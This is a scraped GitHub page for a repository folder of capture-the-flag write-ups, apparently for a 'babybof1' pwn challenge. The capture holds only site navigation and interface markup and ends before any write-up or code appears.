<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268424549" data-scoped-search-url="/gr4n173/CTF-WriteUp/search" data-owner-scoped-search-url="/users/gr4n173/search" data-unscoped-search-url="/search" data-turbo="false" action="/gr4n173/CTF-WriteUp/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="GoSZ9MIYe9fqAJvTNbtRMGAWKYI6jR+obnte/GfSUOdKNI53d0dEJ5rCGcgPdenrtc+i02bfaxT7ugi1RcXkzQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> gr4n173 </span> <span>/</span> CTF-WriteUp
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/gr4n173/CTF-WriteUp/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268424549,"originating_url":"https://github.com/gr4n173/CTF-WriteUp/tree/master/Castorsctf/pwn/babybo/babybof1","user_id":null}}" data-hydro-click-hmac="4e222271ba5a5ecc9bcd9a41a0b73aa11e2e7adc12e8f768f70472608e4c3f6b"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
